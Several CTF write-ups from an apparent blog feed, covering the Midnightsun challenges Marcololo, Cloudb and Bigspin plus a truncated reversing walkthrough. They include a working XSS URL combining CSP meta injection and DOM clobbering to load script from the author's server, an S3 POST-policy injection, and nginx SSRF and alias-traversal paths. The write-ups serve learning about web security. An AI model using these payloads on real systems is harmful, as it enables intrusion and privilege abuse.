<p>Marcololo task had the following statement:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>How slow is your metabolism?
Service: http://marcololo-01.play.midnightsunctf.se:3001
Author: avlidienbrunn
</code></pre></div></div>
<p>When accesing the challenge website, the following form was shown:</p>
<p><img src="https://github.com/dreadlocked/dreadlocked.github.io/blob/master/images/midnightsunctf/image1.png?raw=true" alt="initial_form" /></p>
<p>So it seems we need to submit a URL that triggers an alert(1) using XSS to to this form. Also, it indicates us where the actual challenge is, at ```http://marcololo-01.play.midnightsunctf.se:3001/marcololo?input=marcololo``</p>
<p>This webpage returned the following HTTP response:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
X-Powered-By: Express
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Content-Type: text/html; charset=utf-8
Content-Length: 390
ETag: W/"186-zb58dqJWgRpwGL9cKYBdnemMbKQ"
Date: Sun, 16 Jun 2019 16:16:25 GMT
Connection: close
<span class="nt"><head></span>
<span class="nt"><meta</span> <span class="na">charset=</span><span class="s">"UTF-8"</span><span class="nt">></span>
<span class="nt"><link</span> <span class="na">rel=</span><span class="s">"stylesheet"</span> <span class="na">href=</span><span class="s">"/static/style.css"</span> <span class="nt">/></span>
<span class="nt"><meta</span> <span class="na">property=</span><span class="s">"og:title"</span> <span class="na">content=</span><span class="s">"marcololo"</span><span class="nt">></span>
<span class="nt"><script </span><span class="na">src=</span><span class="s">"https://code.jquery.com/jquery-2.2.4.min.js"</span><span class="nt">></script></span>
<span class="nt"><script </span><span class="na">src=</span><span class="s">"/api/getuser"</span><span class="nt">></script></span>
<span class="nt"></head></span>
<span class="nt"><script></span>
<span class="k">if</span><span class="p">(</span><span class="nx">user</span><span class="p">.</span><span class="nx">name</span> <span class="o">==</span> <span class="s2">"admin"</span><span class="p">){</span>
<span class="nx">$</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="nx">location</span><span class="p">.</span><span class="nx">hash</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">1</span><span class="p">));</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="s2">"u are not admin, fak off"</span><span class="p">);</span>
<span class="p">}</span>
<span class="nt"></script></span>
</code></pre></div></div>
<p>As you can see, if <code class="highlighter-rouge">user.name == admin</code> condition returns true, then, <code class="highlighter-rouge">$.get(location.hash.slice(1))</code> will be executed. This <code class="highlighter-rouge">user.name</code> object, came from <code class="highlighter-rouge"><script src="/api/getuser"></script></code>, this javascript just returned an object with the following attributes: <code class="highlighter-rouge">user = {"id":"-1", "name": "guest", "type": "guest"}</code>, <code class="highlighter-rouge">location.hash.slice(1)</code> is the first string before “#” element on the URL.</p>
<p>But where’s the XSS here?</p>
<p>Ok, if you see, the <code class="highlighter-rouge">input</code> parameter is being reflected, but unfortunetly, <code class="highlighter-rouge"><,> and /</code> characters are filtered on the response, so simply injecting <code class="highlighter-rouge">"><script>...</script></code> will not work.</p>
<p>There needs to be another path… Did you notice that jQuery version?, 2.2.4 seems a bit old right? Yes, and it has an XSS vulnerability! Bingo!. On jQuery 2.2.4, if a user GET a resource and the Content-Type response header is <code class="highlighter-rouge">text/javascript</code>, jQuery will simply eval the response as javascript, I developed a quick dummy TCP server that always returns:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.0 200 OK
Content-Type: text/javascript
Access-Control-Allow-Origin: *
alert(1)
</code></pre></div></div>
<p>I tested it on Chrome’s console, doing <code class="highlighter-rouge">$.get("http://<my-server-ip>:<my-server-port>")</code>, and it worked!! XSS executed!!</p>
<p>Well, first problem seems to be solved, now we know how to trigger an XSS. But not that fast, now we need to figure out how to bypass that <code class="highlighter-rouge">user.name == admin</code> check.</p>
<p>If you rememeber, we can reflect on the <code class="highlighter-rouge">content=</code> attribute of the <code class="highlighter-rouge"><meta></code> tag, so: How about injecting other meta attributes? Like, for expample, <code class="highlighter-rouge">http-equiv</code> which will let us to mimic a response header. At first, we think that maybe abusing XSS Auditor on filter mode (the default mode on latest Chrome browser versions) could help us on filtering the <code class="highlighter-rouge"><script src="/api/getuser"></script></code> so we tried to inject <code class="highlighter-rouge">1" http-equiv="X-XSS-Protection" p="</code>, but it doesn’t work, as the server was already setting an <code class="highlighter-rouge">X-XSS-Protection</code> header, an headers always overwrite <code class="highlighter-rouge">http-quiv</code> meta tag attribute.</p>
<p>Then, I realized that injecting a CSP policy constraining current domain scripts but allowing .jquery.com ones, could prevent <code class="highlighter-rouge"><script src="/api/getuser"></script></code> from loading, but jqeury will be allowed. Also, inline scripts and eval should be allowed, as jQuery bug is triggered beacuse an eval function. Injecting the following CSP header on the meta tag should do the job: <code class="highlighter-rouge">default-src 'unsafe-eval' 'unsafe-inline' *.jquery.com "<my-server-ip>:<my-server-port>" http-equiv="Content-Security-Policy</code>. This worked!! Now Chrome is preventing <code class="highlighter-rouge"><script src="/api/getuser"></script></code>to load, as it comes from <code class="highlighter-rouge">http://marcololo-01.play.midnightsunctf.se:3001</code> and CSP doesn’t allow this URL and also, doesn’t explicity allow <code class="highlighter-rouge">'self'</code>.</p>
<p>But now, <code class="highlighter-rouge">user.name</code> doesn’t exists, as this object is not loaded anymore. This can be workarounded using the old friend, Dom Clobbering. If we also inject <code class="highlighter-rouge">id=name name=admin</code> on the <code class="highlighter-rouge"><meta></code> tag, javascript will be able to access <code class="highlighter-rouge">user.name</code> attribute, and it will be <code class="highlighter-rouge">admin</code>!!</p>
<p>We tested it and boom! It worked!!!</p>
<p>The final URL (without urlencode for legibility) is:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://marcololo-01.play.midnightsunctf.se:3001/marcololo?input=default-src 'unsafe-eval' 'unsafe-inline' *.jquery.com <my-server-ip>:<my-server-port>" http-equiv="Content-Security-Policy" id=user name=admin p="#http://<my-server-ip>:<my-server-port>/
</code></pre></div></div>
<p>When submitting the flag on the initial form, it shows us the flag.</p>
<p>Thanks to <code class="highlighter-rouge">@avlidienbrunn</code> for the challenge and kudos to ID-10-T team for being such a great people.</p>This weekend, Midnightsun CTF Finals took place, a really funny CTF in Stockholm, a lovely place to visit.[CTF Write-up] Midnightsun CTF Quals- Cloudb (web. hard)2019-04-20T14:00:00+02:002019-04-20T14:00:00+02:00http://localhost:4000/2019/04/20/midnisghtsunctf-cloudb<p>This weekend, my mates of ID-10-T Team and I decided to play the Midnightsun CTF, we had a long time without playing CTFs so it was nice to meet again and solve some challenges.</p>
<p>The Cloudb challenge, from web cathegory, has the following statement:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>These guys made a DB in the cloud. Hope it's not a rain cloud...
Service: [http://cloudb-01.play.midnightsunctf.se](http://cloudb-01.play.midnightsunctf.se/)
Author: avlidienbrunn
</code></pre></div></div>
<h3 id="intro">Intro</h3>
<p>Another cloud challenge, I love them! This challenge is about reaching <code class="highlighter-rouge">admin</code> privileges on a Cloud data storage platform.</p>
<p><img src="https://raw.githubusercontent.com/dreadlocked/ctf-writeups/master/images/cloudb/cloudb_1.png" alt="cloud1" /></p>
<p>The platform lets you upload a profile pic by directly posting it to an Amazon AWS S3 bucket. The upload process consists on two different requests:</p>
<ul>
<li>A GET to <code class="highlighter-rouge">/signature</code> path, passing an ACL and a HMAC sign as parameters. This request returns a base64 encoded JSON, with an AWS S3 bucket POST policy:</li>
</ul>
<p><img src="https://raw.githubusercontent.com/dreadlocked/ctf-writeups/master/images/cloudb/cloudb_3.png" alt="cloud1" /></p>
<p>The decoded base64:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="s2">"expiration"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2019-04-06T14:17:03.000Z"</span><span class="p">,</span><span class="w">
</span><span class="s2">"conditions"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
</span><span class="p">[</span><span class="s2">"content-length-range"</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="mi">10000</span><span class="p">],</span><span class="w"> </span><span class="p">{</span><span class="s2">"bucket"</span><span class="p">:</span><span class="w"> </span><span class="s2">"cloudb-profilepics"</span><span class="p">},</span><span class="w">
</span><span class="p">{</span><span class="s2">"acl"</span><span class="p">:</span><span class="w"> </span><span class="s2">"public-read"</span><span class="p">},</span><span class="w">
</span><span class="p">[</span><span class="s2">"starts-with"</span><span class="p">,</span><span class="w"> </span><span class="s2">"$key"</span><span class="p">,</span><span class="w"> </span><span class="s2">"profilepics/"</span><span class="p">]</span><span class="w">
</span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<ul>
<li>A POST request to the Amazon AWS S3 bucket using the amazon standard for this kind of requests, explained here: https://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-post-example.html</li>
</ul>
<p><img src="https://raw.githubusercontent.com/dreadlocked/ctf-writeups/master/images/cloudb/cloudb_4.png" alt="cloud1" /></p>
<p>Seems like first we are creating a policy, then using this policy to POST our profile pic to the S3 bucket.</p>
<p>Our profile pic is saved at <code class="highlighter-rouge">/profilepics/idiotsctf@idiots.con/ejemplo.jpeg</code>.</p>
<p>Also, the application lets us request our profile information, at <code class="highlighter-rouge">/userinfo/idiotsctf@idiots.com/info.json</code> endpoint, returning the following JSON:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="s2">"admin"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
</span><span class="s2">"profilepic"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/profilepics/idiotsctf@idiots.com/ejemplo.jpeg"</span><span class="p">,</span><span class="w">
</span><span class="s2">"hmac"</span><span class="p">:</span><span class="w"> </span><span class="s2">"427881d9d33e2e619047bbaff90205a6c804524405d3574c8f4dfcabee162788"</span><span class="p">,</span><span class="w">
</span><span class="s2">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"idiotsctf"</span><span class="p">,</span><span class="w">
</span><span class="s2">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"idiotsctf@idiots.com"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>Hmm… that “admin” flag set to <code class="highlighter-rouge">false</code>, seems like we will need to overwrite our <code class="highlighter-rouge">/userinfo/idiotsctf@idiots.com/info.json</code> profile file and set the admin flag to true.</p>
<h3 id="understanding-a-bit-how-aws-s3-post-policy-works">Understanding a bit how AWS S3 POST Policy works.</h3>
<p>Before continuing, it’s necesary to understand a bit how AWS S3 policy works. Amazon let developers upload content via POST requests to a S3 bucket. To do this, the developer needs to define a policy parameter for each user upload, this is what the <code class="highlighter-rouge">GET /signature</code> request does.</p>
<p>That policy controls how much time the client-side has to upload the content, where it’s going to be uploaded, the content type, which bucket is allowed etc.</p>
<p>The above JSON policy (on Intro), tells:</p>
<ul>
<li>Your POST upload permission ends at <code class="highlighter-rouge">2019-04-06T14:17:03.000Z</code></li>
<li>You can upload files between 1 and 10000 bytes length.</li>
<li>You are allowed to upload it to cloudb-profilepics bucket.</li>
<li>Your ACL will be public-read, so everyone can read the content you upload.</li>
<li>And the S3 bucket key where you upload the content, must start with <code class="highlighter-rouge">profilepics/</code></li>
</ul>
<h3 id="the-magic-of-team-work">The magic of team work.</h3>
<p>Phiber, from int3pids is one of our ID10Ts team colleague, he was the first who started working on this challenge. When I woke up, he had some work done over the challenge as he realized <strong>how to inject characters on the S3 policy</strong> generated by the <code class="highlighter-rouge">/signature</code> controller.</p>
<ul>
<li>First he found the secret key which where used to create the sign on the <code class="highlighter-rouge">hmac</code> parameter. That signed the <code class="highlighter-rouge">acl</code> parameter. The key was <code class="highlighter-rouge">[object Object]</code>, literally.</li>
<li>Second, he was able to inject JSON strings on the <code class="highlighter-rouge">acl</code> parameter. Let’s explain it:</li>
</ul>
<p>A “common” query, could be <code class="highlighter-rouge">/signature?hmac=<hmac>&acl=public-read</code>, this returns the above mentioned JSON (on Intro). Now, if we inject some strings, like this: <code class="highlighter-rouge">/signature?hmac=<hmac>&acl=public-read'} test</code>, the base64 encoded policy acl looks like this:</p>
<p><code class="highlighter-rouge">... {'acl': 'public-read'}, test ...</code></p>
<p>We can inject things on the policy!!!</p>
<h3 id="looking-for-the-buckets">Looking for the buckets.</h3>
<p>Now we know that we can tamper the policy, we know we need to overwrite <code class="highlighter-rouge">/userinfo/idiotsctf@idiots.com/info.json</code> file to obtain admin privileges, but we don’t know the S3 bucket name where the user information is being stored.</p>
<p><strong>Patatas in action:</strong>
Our team mate @HackingPatatas has an incredible ability to try random things and make it work. He tried <code class="highlighter-rouge">cloud-users.s3.amazonaws.com</code> and it was a valid bucket. So it’s highly probable that the <code class="highlighter-rouge">info.json</code>file is being stored on that bucket.</p>
<h3 id="bypassing-policy-restrictions">Bypassing policy restrictions.</h3>
<p>The policy tells us we can’t just query <code class="highlighter-rouge">cloud-users</code> bucket, as the buckets and the keys of the buckets we are allowed to query, are well defined on the policy. We need to figure out how to invalidate those restrictions and add our own.</p>
<p>If we try to POST something like this :</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST https://cloudb-users.s3.amazonaws.com/
{
"key":"users/idiotsctf@idiots.com/info.json",
...
}
</code></pre></div></div>
<p>The AWS S3 server will fail as the policy only allows <code class="highlighter-rouge">cloud-profilepics</code> as bucket and <code class="highlighter-rouge">profilepics/</code> as bucket key path.</p>
<p>A way to bypass, at least the <code class="highlighter-rouge">bucket</code> restriction is adding another <code class="highlighter-rouge">conditions</code> JSON block. In JSON if the same key appears many times on the same level, the last is going to be the valid one. In this case, as the <code class="highlighter-rouge">conditions</code> directive appears before the user controlled <code class="highlighter-rouge">acl</code> injectable parameter, we can inject something like this to invalidate the previous conditions:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>public-read'}],
'conditions': [
['starts-with', '$key', 'users/'],
{'bucket':'cloudb-users'},
{'acl':'public-read
</code></pre></div></div>
<p>See how we are closing the previous <code class="highlighter-rouge">condition</code> with <code class="highlighter-rouge">]</code>, and opening a new one, with the <code class="highlighter-rouge">cloud-users</code> as allowed bucket. This returned the error <code class="highlighter-rouge">Invalid according to Policy: Policy Condition failed: ["starts-with", "$key", "profilepics/"]</code></p>
<p>Hmmm, our <code class="highlighter-rouge">starts-with</code> directive is being overwritted by the original one, which is after our injection point.</p>
<h3 id="the-magic-of-the-patata-again">The magic of the patata… again.</h3>
<p>We need to find a way to invalidate the second <code class="highlighter-rouge">starts-with: profilepics/</code> directive, we can do this by creating a new JSON block at the end of our injection, like this:</p>
<p><code class="highlighter-rouge">(our injection) ... ], 'new-block': [{'acl': 'public-read</code>, so the second <code class="highlighter-rouge">starts-with</code> is not going to be inside the <code class="highlighter-rouge">conditions</code> block anymore. BUUUUUUT, we just can’t declare blocks with names other than <code class="highlighter-rouge">conditions</code> or <code class="highlighter-rouge">expiration</code> or we get an error like this <code class="highlighter-rouge">Invalid Policy: Unexpected: 'new-block'</code>.</p>
<p>This is terrible, we can only use two directives, the first one, <code class="highlighter-rouge">conditions</code>, will overwrite our injected condition again, so we do not win anything, and the second, <code class="highlighter-rouge">expiration</code>, only supports a single string as value.</p>
<p>After a bit of try, error, try, error, our team mate @HackingPatatas, made it again. He wrotes on team’s chat:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>DarkPatatas, [6 abr 2019 15:29:10]:
ostia.. un sec (the hell... wait a second...)
JAJASDJASJASODJASOJDAOSJDAOSJdas (laughts in spanish)
ME MATO (I'll kill myself)
lo tengo (I got it)
</code></pre></div></div>
<p>What? How?</p>
<p>He just fucking tested <code class="highlighter-rouge">Conditions</code> instead of <code class="highlighter-rouge">conditions</code>, and Amazon take it as a valid Policy key, but not applying it as a condition for the policy, so we successfully bypassed al the restrictions.</p>
<p>The next step is do the same but this time, uploading an <code class="highlighter-rouge">info.json</code> to /users/idiotsctf@idiots.com/info.json, with the “admin” flag set to <code class="highlighter-rouge">true</code>. And…</p>
<p><img src="https://raw.githubusercontent.com/dreadlocked/ctf-writeups/master/images/cloudb/cloudb_final.png" alt="cloud1" /></p>
<p>Ding ding ding!!! We are admin!!! And, of course, now we can go to <code class="highlighter-rouge">/admin</code> endpoint, authenticate and read the flag.</p>
<h3 id="final-thoughts">Final thoughts</h3>
<p>What the hell Amazon?</p>
<p>Thanks to all the team, specially @phiber_int3 and @HackingPatatas to help a lot on solving this challenge. It was really funny and challenging!</p>This weekend, my mates of ID-10-T Team and I decided to play the Midnightsun CTF, we had a long time without playing CTFs so it was nice to meet again and solve some challenges.[CTF Write-up] Midnightsun CTF Quals- Bigspin (web. mid)2019-04-20T13:00:00+02:002019-04-20T13:00:00+02:00http://localhost:4000/2019/04/20/midnightsunctf-bigspin<p>This weekend, my mates of ID-10-T Team and I decided to play the Midnightsun CTF, we had a long time without playing CTFs so it was nice to meet again and solve some challenges.</p>
<p>The Bigspin challenge, from web cathegory, has the following statement:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>This app got hacked due to admin and uberadmin directories being open. Was just about to wget -r it, but then they fixed it :( Can you help me get the files again?
Service: http://bigspin-01.play.midnightsunctf.se:3123
Author: avlidienbrunn
</code></pre></div></div>
<h3 id="intro">Intro</h3>
<p>First is first, let’s see what this application looks like on it’s root path:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><html></span>
What's it gonna be? Are you an
<span class="nt"><a</span> <span class="na">href=</span><span class="s">"/uberadmin/"</span><span class="nt">></span>uberadmin<span class="nt"></a></span>,
an <span class="nt"><a</span> <span class="na">href=</span><span class="s">"/admin/"</span><span class="nt">></span>admin<span class="nt"></a></span>,
a <span class="nt"><a</span> <span class="na">href=</span><span class="s">"/user/"</span><span class="nt">></span>user<span class="nt"></a></span>,
or (most likely) just a <span class="nt"><a</span> <span class="na">href=</span><span class="s">"/pleb/"</span><span class="nt">></span>pleb<span class="nt"></a></span>?
<span class="nt"></html></span>
</code></pre></div></div>
<p>Ok so we have four kind of “privilege” levels, and probably we need to reach /uberadmin/ path, cool but, How? Trying to just navigate http://bigspin-01.play.midnightsunctf.se:3123/uberadmin/ shows us an Nginx 403 default error, the same occurs with /user, otherwise, /admin shows a 404. How about /pleb?.</p>
<p>/pleb path returns a 200 OK with the HTML body of http://www.example.com/.</p>
<p><img src="https://raw.githubusercontent.com/dreadlocked/ctf-writeups/master/images/bigspin/bigspin_1.png" alt="pleb1" /></p>
<p>Usually, when I face Nginx servers on CTFs and in some real-world cases, I instantly think about Nginx-alias path traversal vulenerabilities, so I tested /pleb../ and.. the server returns 502 Bad Gateway error.</p>
<p><img src="https://raw.githubusercontent.com/dreadlocked/ctf-writeups/master/images/bigspin/bigspin_2.png" alt="pleb2" /></p>
<p>Wait, what? If not vulnerable, it should return 404, if vulnerable it should return 404 or 200, as we are asking for an existing file or path.</p>
<h3 id="13-beating-user-level">1/3 beating user level.</h3>
<p>Now we have an unexpected behaviour, when the /pleb/ string is present on the path, the server returns the HTML body of example.com, this could be an indicative of <code class="highlighter-rouge">proxy_pass</code> Nginx directive acting as a reverse proxy to www.example.com, but if we add any characters to the end of /pleb, like /plebidiot, the server returns 502, this means that the server is trying to reach www.example.comidiot, as it can’t reach that domain, it returns 502.</p>
<p>Well, so now we know that some kind of SSRF can be done here, my man @dj.thd told us, what if you use a dynamically resolver dns server based on level1 subdomain, and ignoring other low-level subdomains? Like this www.example.com.127.0.0.1.idiots.com -> 127.0.0.1. Great idea, fortunately for us, there’s a service that does exactly this, nip.io.</p>
<p>So, let’s see what happens, when we try to reach /pleb.127.0.0.1.nip.io/user/,</p>
<p><img src="https://raw.githubusercontent.com/dreadlocked/ctf-writeups/master/images/bigspin/bigspin_3.png" alt="pleb3" /></p>
<p>Ding ding ding!!! Win!!! We reached /users/ folder, with shows us an Index folder where we can see an “nginx.cönf “ file. To read it, my man @patatasfritas used double URL encoding, as Nginx is not that friendly when trying to read files with special characters.</p>
<p>The nginx.conf file contained the following directives:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code> # omited for readability
http {
# omited for readability
server {
listen 80;
location / {
root /var/www/html/public;
try_files $uri $uri/index.html $uri/ =404;
}
location /user {
allow 127.0.0.1;
deny all;
autoindex on;
root /var/www/html/;
}
location /admin {
internal;
autoindex on;
alias /var/www/html/admin/;
}
location /uberadmin {
allow 0.13.3.7;
deny all;
autoindex on;
alias /var/www/html/uberadmin/;
}
location ~ /pleb([/a-zA-Z0-9.:%]+) {
proxy_pass http://example.com$1;
}
access_log /dev/stdout;
error_log /dev/stdout;
}
}
</code></pre></div></div>
<p>Well, see that? /user path can only be reached on localhost, we aimed that using the location /pleb SSRF, pointing a user controlled domain to 127.0.0.1 using nip.io, a classic SSRF tip.</p>
<h3 id="23-beating-admin-level">2/3 beating admin level.</h3>
<p>Now we need to reach <code class="highlighter-rouge">/admin</code>, it’s configuration is the same, but this time it has an <code class="highlighter-rouge">internal</code> nginx directive, what means internal? Let’s Google a bit:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Specifies that a given location can only be used for internal requests.
For external requests, the client error 404 (Not Found) is returned. Internal requests are the following:
- requests redirected by the error_page, index, random_index, and try_files directives;
- requests redirected by the “X-Accel-Redirect” response header field from an upstream server;
- subrequests formed by the include virtual command of the ngx_http_ssi_module module, by the ngx_http_addition_module module directives,
and by auth_request and mirror directives; requests changed by the rewrite directive.
</code></pre></div></div>
<p>Ok, while reading this snippet of documentation, the <code class="highlighter-rouge">X-Accel-Redirect</code> header shines among so many directives. What if we try to do the same as the previous step, but this time resolving to a user controlled server, which always redirects with <code class="highlighter-rouge">X-Accel-Redirect</code>pointing to <code class="highlighter-rouge">/admin</code>? We can use nip.io again to do this.</p>
<p>First, we need to setup a simple python web server and configure it to always redirect, simple. Then, we try to reach /pleb.X.X.X.X.nip.io, if everything works, the admin folder should be returned and…</p>
<p>Ding ding ding!!! Win!!! Another win, now we can reach /admin location.</p>
<h3 id="33-beating-uberadmin-level">3/3 beating uberadmin level.</h3>
<p>This level was easy peasy, as when seeing the Nginx configuration file, it highlights the alias traversal on /admin location, so we just need to configure our python server with <code class="highlighter-rouge">X-Accel-Redirect: /admin..uberadmin/flag.txt</code> and…</p>
<p><img src="https://raw.githubusercontent.com/dreadlocked/ctf-writeups/master/images/bigspin/bigspin_4.png" alt="pleb4" /></p>
<p>Win!!! We got the flag.</p>
<h3 id="final-thoughts">Final thoughts</h3>
<p>This challenge was really funny, it’s curious how sensitive an Nginx configuration file is. Thanks to @HackingPatatas and @dj.thd for solving this challenge with me.</p>
<p>Feel free to ping me if you see any mistake at @_dreadlocked on twitter.</p>This weekend, my mates of ID-10-T Team and I decided to play the Midnightsun CTF, we had a long time without playing CTFs so it was nice to meet again and solve some challenges.[CTF Write-up] Secadmin El Ninja contrareloj (rev. easy)2018-10-08T14:02:44+02:002018-10-08T14:02:44+02:00http://localhost:4000/2018/10/08/secadmin-reversing-writeup<p>Last week, <a href="https://www.secadmin.es/">Secadmin</a> conference was held with some easy CTF challenges about crypto, web and reversing. This write-ups is for “El Ninja Contrareloj” challenge, a reversing one.</p>
<p>The challenge has a long statement, in summary, they let you a binary and you need to reverse it to obtain the flag. Go go go go!</p>
<p>First is first, execute the binary and see what it does. When executing, it ask you for the flag, then wait some time and then, if wrong (obviosly, the first try will be wrong), the program tells you need some “Cruzcampo” (possibly the worst Spanish beer ever).</p>
<p><img src="/images/secadmin/execute.png" alt="execute" /></p>
<p>A <code class="highlighter-rouge">file</code> to the binary outputs that binary is not stripped, so functions and some variable names will remain, cool for our purpose.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ file secadmin_ctf
secadmin_ctf: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0,
BuildID[sha1]=460f36a3556ccc50b9befcd63b15de8fccb1b34f, not stripped
</code></pre></div></div>
<h4 id="binary-analysis-using-cutter">Binary analysis, using Cutter!</h4>
<p>This time I’ll not use IDA to analyse the binary, let’s use <a href="https://github.com/radareorg/cutter">Cutter</a>, a QT based multiplatform GUI for <a href="https://rada.re/r/">radare2</a>, really cool project started by the great Hugo Teso as <a href="https://github.com/hteso/iaito">Iato</a> and currently mantained (as Cutter) by a lot of great radare2 community people.</p>
<p>Opening the binary using Cutter, shows us at first some useful information about the binary compilation flags.</p>
<p><img src="/images/secadmin/dashboard.png" alt="dashboard" /></p>
<p>Not really so much information as the <code class="highlighter-rouge">file</code> command, but adds some information useful from an exploting perspective, such as Canary stack protection, NX bit, PIE and RELRO flags.</p>
<p>Well, the next step is review the binary functions, as this binary is not stripped, function names remain and it’s easier for us to identify each one.</p>
<p><img src="/images/secadmin/functions.png" alt="functions" /></p>
<p>Starting from <code class="highlighter-rouge">main</code> function, let’s see what it does. As I previosly executed the binary to see the execution flow, it’s expected to see some header print, then print “Introduce tu flag…”, and gets the user STDIN input, and then process that input. This last “process” is the interesting part.</p>
<p>Here’s the dissembly of the interesting part:</p>
<p><img src="/images/secadmin/main.png" alt="main" /></p>
<p>Ok, as you can see, <code class="highlighter-rouge">obj.flag</code> is the variable where the user input will be stored using <code class="highlighter-rouge">scanf</code> (yep, there’s a stack buffer overflow here). Then, “Espere unos instantes” message is displayed and <code class="highlighter-rouge">obj.flag</code> is stored on an auxiliar variable <code class="highlighter-rouge">obj.msg</code>.</p>
<p>Here comes the interesting part, three functions are called on different threads using the <code class="highlighter-rouge">pthread_create</code> C function. This function calls another function and its parameters and execute it on a new thread. Debug threads using raw GDB can be a headache.</p>
<p>At the end, it compares the <code class="highlighter-rouge">obj.s</code> global string with <code class="highlighter-rouge">obj.j</code> global string, so it’s expected that our initial string is going to be transformed and stored in <code class="highlighter-rouge">obj.j</code> and then compared with the transformed flag, stored in <code class="highlighter-rouge">obj.s</code>.</p>
<p>Taking a look to <code class="highlighter-rouge">obj.s</code> global variable, we can see it’s initialized with 22 bytes. To do this, just double click over any <code class="highlighter-rouge">obj.s</code> reference, and then, select the “Hexdump” tab.</p>
<p><img src="/images/secadmin/s_hex.png" alt="s" /></p>
<p>Seems like we need to input something that end up beeing like <code class="highlighter-rouge">obj.s</code> bytes, so first hint, our input needs to be 22 bytes long, and probably starting with the flag format <code class="highlighter-rouge">secadmin{</code>.</p>
<p>Let’s first analyze the <code class="highlighter-rouge">sym.timer</code>, <code class="highlighter-rouge">sym.tr1</code> and <code class="highlighter-rouge">sym.tr2</code> functions, and see what they do.</p>
<h4 id="timer-function">“timer” function</h4>
<p>Let’s analyze first, the <code class="highlighter-rouge">sym.timer</code> function, which is the first function called.</p>
<p><img src="/images/secadmin/timer.png" alt="timer" /></p>
<p>This function basically loops indefinitely, increasing the value of <code class="highlighter-rouge">obj.tiempo</code> variable by one each time, but before this, it calls <code class="highlighter-rouge">usleep</code> C function, passing it <code class="highlighter-rouge">0xf4240</code> as parameter. If you don’t know, usleep function will sleep the thread N microseconds. <code class="highlighter-rouge">0xf4240</code> is the hex representation of the decimal <code class="highlighter-rouge">1000000</code>, which in seconds is 1 second.</p>
<p>So this function, increase the value of the global variable <code class="highlighter-rouge">obj.tiempo</code> by one each one second.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">timer</span><span class="p">(){</span>
<span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">usleep</span><span class="p">(</span><span class="mi">1000000</span><span class="p">);</span> <span class="c1">// 1 second</span>
<span class="o">++</span><span class="n">tiempo</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<h4 id="tr1-function">“tr1” function</h4>
<p>Then, let’s analyze first, the <code class="highlighter-rouge">sym.tr1</code> function, which is the second function called.</p>
<p><img src="/images/secadmin/tr1.png" alt="tr1" /></p>
<p>Easy flow here, first, the length of <code class="highlighter-rouge">obj.msg</code> (which is our input) is calculated, and we iterate from <code class="highlighter-rouge">i=0</code> to <code class="highlighter-rouge">i<strlen(obj.msg)</code>. Inside the for loop, the application xors each byte of the user input string, with it’s user input length and stores the result on another global variable <code class="highlighter-rouge">obj.j</code>. Then sleeps <code class="highlighter-rouge">0x30d40</code> microseconds, wich in decimal seconds corresponds with 0.2 seconds.</p>
<p>The C code will look like the following:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">tr1</span><span class="p">(){</span>
<span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="p">;</span> <span class="n">i</span><span class="o"><</span><span class="n">strlen</span><span class="p">(</span><span class="n">msg</span><span class="p">);</span> <span class="o">++</span><span class="n">i</span><span class="p">){</span>
<span class="n">j</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">msg</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">strlen</span><span class="p">(</span><span class="n">msg</span><span class="p">);</span>
<span class="n">usleep</span><span class="p">(</span><span class="mi">200000</span><span class="p">);</span> <span class="c1">// 0.2 segundos</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<h4 id="tr2-function">“tr2” function</h4>
